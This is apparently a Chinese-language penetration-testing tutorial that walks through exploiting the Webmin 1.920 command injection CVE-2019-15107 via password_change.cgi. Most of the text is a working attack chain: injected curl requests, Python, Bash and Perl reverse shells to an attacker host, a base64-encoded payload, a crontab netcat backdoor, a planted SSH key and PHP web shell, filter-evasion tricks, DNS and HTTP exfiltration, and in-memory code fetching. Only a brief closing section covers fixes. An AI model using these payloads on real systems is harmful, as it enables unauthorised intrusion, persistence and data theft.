Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell

📅 2026/7/8 20:24:01
Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell
Webmin 1.920 命令执行漏洞深度利用指南从原理到Shell获取在渗透测试实践中能够快速识别和利用已知漏洞是安全研究人员的基本功。CVE-2019-15107作为Webmin历史上一个关键的安全漏洞其利用方式具有典型的教学意义。本文将从一个实战演练的角度带您深入理解这个漏洞的触发机制并构建完整的攻击链条。1. 漏洞环境搭建与基础验证搭建一个可靠的测试环境是漏洞研究的首要步骤。推荐使用Docker快速部署Webmin 1.920漏洞环境docker pull vulhub/webmin:1.920 docker run -d -p 10000:10000 --name webmin vulhub/webmin:1.920访问https://your-ip:10000需忽略浏览器安全警告即可看到Webmin登录界面。值得注意的是该漏洞利用不需要任何身份认证这也是其危险性的重要体现。基础验证可以使用简单的curl命令curl -k -X POST https://target:10000/password_change.cgi \ -d usernon_existentpamexpired2oldtest|idnew1test2new2test2如果返回结果中包含uid信息则证明漏洞存在。这里有几个关键点需要注意user参数必须使用系统中不存在的用户名old参数管道符后的命令会被执行HTTPS协议Webmin默认使用SSL加密连接2. 漏洞原理深度解析这个漏洞的核心在于password_change.cgi脚本对用户输入的处理不当。当满足以下条件时系统会执行恶意命令请求发送到/password_change.cgi接口user参数值不是系统中的真实用户old参数中包含管道符(|)拼接的命令Webmin在处理密码修改请求时会检查用户是否存在。如果用户不存在它会尝试直接修改/etc/shadow文件而在这个过程中没有对输入进行充分过滤导致命令注入。漏洞触发流程攻击者发送包含恶意命令的POST请求Webmin检查用户不存在系统尝试修改shadow文件在修改过程中执行了注入的命令命令输出被包含在HTTP响应中3. 完整利用链构建3.1 信息收集阶段在获取初始命令执行能力后首先需要收集系统信息curl -k -X POST https://target:10000/password_change.cgi \ -d usernon_existentpamexpired2oldtest|uname -a; id; ip a; netstat -tulnpnew1test2new2test2这些信息将帮助我们了解目标系统的架构、网络配置和运行服务为后续操作提供依据。3.2 交互式Shell获取为了获得更稳定的控制我们需要建立反向Shell。以下是几种常见方法Python反向Shellpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((attacker-ip,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);Bash反向Shellbash -i /dev/tcp/attacker-ip/port 01编码后的Payload对于存在特殊字符限制的情况可以使用Base64编码echo YmFzaCAtaSAJiAvZGV2L3RjcC9hdHRhY2tlci1pcC9wb3J0IDAJjE | base64 -d | bash3.3 权限维持技术获取初始访问后应考虑建立持久化访问添加SSH密钥mkdir -p ~/.ssh echo ssh-rsa AAAAB3... ~/.ssh/authorized_keys创建定时任务(crontab -l 2/dev/null; echo * * * * * nc -e /bin/sh attacker-ip port) | crontab -安装Web Shellecho ?php system($_GET[cmd]); ? /var/www/html/backdoor.php4. 高级利用技巧与防御绕过在实际渗透测试中可能会遇到各种限制措施。以下是几种应对策略4.1 命令分隔技巧当某些字符被过滤时可以尝试替代分隔符# 使用换行符 oldtest%0aid # 使用 oldtestid # 使用$() oldtest$(id)4.2 数据外带技术当无法直接看到命令输出时可以通过DNS或HTTP请求外带数据# DNS外带 oldtest|dig whoami.attacker-domain.com # HTTP外带 oldtest|curl http://attacker-ip:8000/?data$(whoami|base64)4.3 内存执行规避为避免在磁盘留下痕迹可以使用内存执行技术# Python内存加载 oldtest|python -c import urllib2; exec(urllib2.urlopen(http://attacker-ip/shell.py).read()) # Perl一行式 oldtest|perl -e use Socket;$iattacker-ip;$pport;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);5. 漏洞修复与防护建议对于系统管理员应采取以下措施防护立即升级将Webmin升级到1.930或更高版本访问控制限制Webmin管理界面的访问IP入侵检测监控对/password_change.cgi的异常访问最小权限按照最小权限原则配置Webmin功能在渗透测试完成后应完整记录利用过程并协助客户进行安全加固。漏洞利用的最终目的是提升系统安全性而非破坏。